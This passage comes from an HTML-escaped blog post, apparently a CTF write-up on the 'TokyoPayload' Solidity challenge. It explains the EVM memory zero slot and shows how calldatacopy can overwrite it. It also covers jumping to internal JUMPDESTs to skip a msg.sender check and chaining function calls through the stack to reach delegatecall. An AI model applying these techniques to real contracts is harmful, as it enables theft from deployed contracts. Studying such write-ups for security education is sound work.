  PUSH [tag] 9			function fun1() public {\r\n  ...
  PUSH [tag] 10			function fun1() public {\r\n  ...
  JUMP 			function fun1() public {\r\n  ...
tag 9			function fun1() public {\r\n  ...
  JUMPDEST 			function fun1() public {\r\n  ...
  STOP 			function fun1() public {\r\n  ...
tag 6			function fun2() public returns...
  JUMPDEST 			function fun2() public returns...
  PUSH 0			uint
  DUP1 			uint
  PUSH 8			0x8
  PUSH 9			0x9
  SWAP2 			return (0x8, 0x9)
  POP 			return (0x8, 0x9)
  SWAP2 			return (0x8, 0x9)
  POP 			return (0x8, 0x9)
  SWAP1 			function fun2() public returns...
  SWAP2 			function fun2() public returns...
  JUMP 			function fun2() public returns...
tag 10			function fun1() public {\r\n  ...
  JUMPDEST 			function fun1() public {\r\n  ...
  PUSH [tag] 13			fun2()
  PUSH [tag] 6			fun2
  JUMP 			fun2()
tag 13			fun2()
  JUMPDEST 			fun2()
  POP 			fun2()
  POP 			fun2()
  JUMP 			function fun1() public {\r\n  ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PC = JUMP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] = ret addr&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[1] = ret1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[2] = ret0&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+ if the caller does not receive return values, they will be popped.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;array layout&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;storage&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dynamic array:&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;storage[slot] = length&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;arr[i] = sha3(i, slot)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fixed array:&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;arr[i] = slot + i&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;memory&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dynamic array:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mem[ptr] = length&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;arr[i] = ptr + 1 + i&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;fixed array&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;arr[i] = ptr + i&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;memory layout&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html&quot;&gt;https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[0x00: 0x40]: scratch space&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[0x40: 0x60]: currently allocated memory size&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[0x60: 0x80]: zero slot&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tokyoPayload():: function()[]&amp;nbsp;memory&amp;nbsp;funcs;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;resetGasLimit():: uint256[]&amp;nbsp;memory&amp;nbsp;arr;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Since dynamic memory arrays are used without allocation, zero-slot(0x60) represents them.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Analysis&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A user must set &lt;span style=&quot;background-color: #f6e199;&quot;&gt;solved&lt;/span&gt; as &lt;span style=&quot;background-color: #f6e199;&quot;&gt;true&lt;/span&gt;, but it seems that there is no functionality to change &lt;span style=&quot;background-color: #f6e199;&quot;&gt;slot 0&lt;/span&gt; inside TokyoPayload.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can easily come up with the idea of calling a logic contract that turns &lt;span style=&quot;background-color: #f6e199;&quot;&gt;slot 0&lt;/span&gt; into &lt;span style=&quot;background-color: #f6e199;&quot;&gt;true&lt;/span&gt; through &lt;span style=&quot;background-color: #f6e199;&quot;&gt;delegatecall()&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Unfortunately, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;delegatecall()&lt;/span&gt; has two constraints, one of which is checking for &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;msg.sender&lt;/span&gt;&lt;span&gt; and the other is &lt;span style=&quot;background-color: #f6e199;&quot;&gt;gas&lt;/span&gt; option.&lt;/span&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It is natural that we cannot find the private key whose public key is &lt;span style=&quot;background-color: #f6e199;&quot;&gt;0xCAFE&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So we need a method of bypass for &lt;span style=&quot;background-color: #f6e199;&quot;&gt;require statement&lt;/span&gt;.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Assuming we bypass require statement, we need to increase &lt;span style=&quot;background-color: #f6e199;&quot;&gt;gasLimit&lt;/span&gt; by at least 20000 because &lt;span style=&quot;background-color: #f6e199;&quot;&gt;sstore&lt;/span&gt; opcode consumes 20000 gas.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As the name of &lt;span style=&quot;background-color: #f6e199;&quot;&gt;resetGasLimit()&lt;/span&gt; shows, it resets &lt;span style=&quot;background-color: #f6e199;&quot;&gt;gasLimit&lt;/span&gt;.&amp;nbsp;&lt;br /&gt;In &lt;span style=&quot;background-color: #f6e199; color: #333333; text-align: start;&quot;&gt;resetGasLimit()&lt;/span&gt;, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;uint256[] memory arr&lt;/span&gt; is declared as a dynamic array but it is not allocated, resulting &lt;span style=&quot;background-color: #f6e199;&quot;&gt;arr.length&lt;/span&gt; is zero&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As I mentioned above, not-allocated dynamic array is represented by &lt;span style=&quot;background-color: #f6e199;&quot;&gt;zero slot&lt;/span&gt; that occupies memory [0x60:0x80).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we change &lt;span style=&quot;background-color: #f6e199;&quot;&gt;zero slot&lt;/span&gt;, we can control &lt;span style=&quot;background-color: #f6e199;&quot;&gt;gasLimit&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;tokyoPayload()&lt;/span&gt; provides a user with the chance to overwrite memory using &lt;span style=&quot;background-color: #f6e199;&quot;&gt;calldatacopy&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we call &lt;span style=&quot;background-color: #f6e199;&quot;&gt;resetGasLimit()&lt;/span&gt; continuously before &lt;span style=&quot;background-color: #f6e199;&quot;&gt;tokyoPayload()&lt;/span&gt; finishes its procedure, the memory is retained.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Additionally, it has a function pointer array and calls one of those, allowing us to chain calling function!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We are aware that calling functions is equal to jumping to JUMPDEST within the deployed bytecode.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In the solidity code, if-else, require statement, calling functions create a branch, meaning that the code that is not the entry point of the function can be JUMPDEST.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;For example, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;delegatecall()&lt;/span&gt; opcode follows as:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lHyFo/btsu7VhN7fw/KV2kk4GvawhwVSN2xy0qk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lHyFo/btsu7VhN7fw/KV2kk4GvawhwVSN2xy0qk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lHyFo/btsu7VhN7fw/KV2kk4GvawhwVSN2xy0qk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlHyFo%2Fbtsu7VhN7fw%2FKV2kk4GvawhwVSN2xy0qk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;377&quot; height=&quot;778&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can easily bypass require statement through &lt;span style=&quot;background-color: #f6e199;&quot;&gt;tag 50&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To summarize, we must&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. control memory[0x60:0x80) using &lt;span style=&quot;background-color: #f6e199;&quot;&gt;calldatacopy&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. bypass the require statement using &lt;span style=&quot;background-color: #f6e199;&quot;&gt;JUMP&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;the calldata of tokyoPayload() consists of&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;function signature=hex'000040c3'(4-byte) + x(32-byte) + y(32-byte) + additonal data(length we want)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Maybe everyone's solution is different from here.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I chose &lt;span style=&quot;background-color: #f6e199;&quot;&gt;x&lt;/span&gt; as 0x7b, which makes memory[0x60:0x80) = 0x40c300.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Then 0x40c300 &amp;amp;&amp;amp; 0xffff = 0xc300 is more than 20000, gas is enough to use &lt;span style=&quot;background-color: #f6e199;&quot;&gt;sstore&lt;/span&gt; opcode.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;At this point, we note that the range of x should be [0x40: 0x79].&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Before funcs[z]() is called, array boundary check exists.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Since funcs is not allocated, it compares the value stored at zero slot with the index &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;called.&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1695363719155&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;PUSH 60			function()[] memory funcs
PUSH 0			uint256 z
DUP3 			y
SWAP1 			uint256 z = y
POP 			uint256 z = y
PUSH [tag] 43			funcs[z]()
DUP3 			funcs
DUP3 			z
DUP2 			funcs[z]
MLOAD 			funcs[z]
DUP2 			funcs[z]
LT 			funcs[z]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;By the way, we don't need to care about that because zero slot has 0xc300.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Which JUMPDEST should we choose?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. tokyoPayload(x, y)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. load(i)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. createArray(length)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. resetGasLimit()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. delegatecall(addr)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When we encounter JUMP opcode, stack follows as:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] =&amp;gt; next JUMPDEST&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[1] =&amp;gt; ret addr =&amp;gt; finish this call of tokyoPayload()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[2] =&amp;gt; z&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[3] =&amp;gt; funcs zero slot: 0x60&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[4] =&amp;gt; y&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[5] =&amp;gt; x&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[6] =&amp;gt; 0x97 =&amp;gt; stop opcode&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[7] =&amp;gt; tokyoPayload function signature&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As we learned above Background, the function's arguments are passed through stack.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If next function has&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. no argument&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;there is no change due to the type of funcs&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] =&amp;gt; next JUMPDEST&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[1] =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;ret addr&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[2] =&amp;gt; z&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[3] =&amp;gt; funcs zero slot: 0x60&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[4] =&amp;gt; y&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[5] =&amp;gt; x&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[6] =&amp;gt; 0x97 =&amp;gt; stop opcode&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[7] =&amp;gt; tokyoPayload function signature&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. one argument&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] =&amp;gt; next JUMPDEST&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[1] =&amp;gt; ret addr =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;next function's argument&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[2] =&amp;gt; z =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;ret addr&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[3] =&amp;gt; funcs zero slot: 0x60&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[4] =&amp;gt; y&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[5] =&amp;gt; x&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[6] =&amp;gt; 0x97 =&amp;gt; stop opcode&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[7] =&amp;gt; tokyoPayload function signature&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. two arguments&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] =&amp;gt; next JUMPDEST&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[1] =&amp;gt; ret addr =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;next function's second argument&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[2] =&amp;gt; z =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;next function's first argument&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[3] =&amp;gt; funcs zero slot: 0x60 =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;ret addr&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[4] =&amp;gt; y&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[5] =&amp;gt; x&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[6] =&amp;gt; 0x97 =&amp;gt; stop opcode&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[7] =&amp;gt; tokyoPayload function signature&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In order to control execution flow, I must choose one argument case.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As a result, we will call sequentially tokyoPayload() -&amp;gt; funcs[z]() -&amp;gt; z().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] =&amp;gt; next JUMPDEST =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;first call&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[1] =&amp;gt; ret addr =&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #9feec3;&quot;&gt;first function's argument&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[2] =&amp;gt; z =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;first ret addr&lt;/span&gt; =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;second call&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[3] =&amp;gt; funcs zero slot: 0x60&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[4] =&amp;gt; y&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[5] =&amp;gt; x&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[6] =&amp;gt; 0x97 =&amp;gt; stop opcode&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[7] =&amp;gt; tokyoPayload function signature&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It would be better to look at load() for pushing some values we want to the stack.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Having three return values is identical to pushing three values into the stack.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;if the first call is load()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;step i)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] =&amp;gt; next JUMPDEST =&amp;gt;&lt;span&gt; first call =&amp;gt; &lt;/span&gt;&lt;span style=&quot;background-color: #9feec3;&quot;&gt;load()&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[1] =&amp;gt; ret addr =&amp;gt;&lt;span&gt; first call's argument =&amp;gt; &lt;/span&gt;&lt;span style=&quot;background-color: #9feec3;&quot;&gt;i&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[2] =&amp;gt; z =&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #9feec3;&quot;&gt;first&lt;span&gt;&amp;nbsp;&lt;/span&gt;ret addr&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;=&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #9feec3;&quot;&gt;second call&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[3] =&amp;gt; funcs zero slot: 0x60&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[4] =&amp;gt; y&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[5] =&amp;gt; x&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[6] =&amp;gt; 0x97 =&amp;gt; stop opcode&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[7] =&amp;gt; tokyoPayload function signature&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;step ii)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[0] =&amp;gt; z =&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #9feec3;&quot;&gt;first&lt;span&gt;&amp;nbsp;&lt;/span&gt;ret addr&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;=&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #9feec3;&quot;&gt;second call&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[1] =&amp;gt; c =&amp;gt; third return value =&amp;gt; &lt;span style=&quot;background-color: #9feec3;&quot;&gt;second call's argument&lt;/span&gt;&lt;/p&gt;
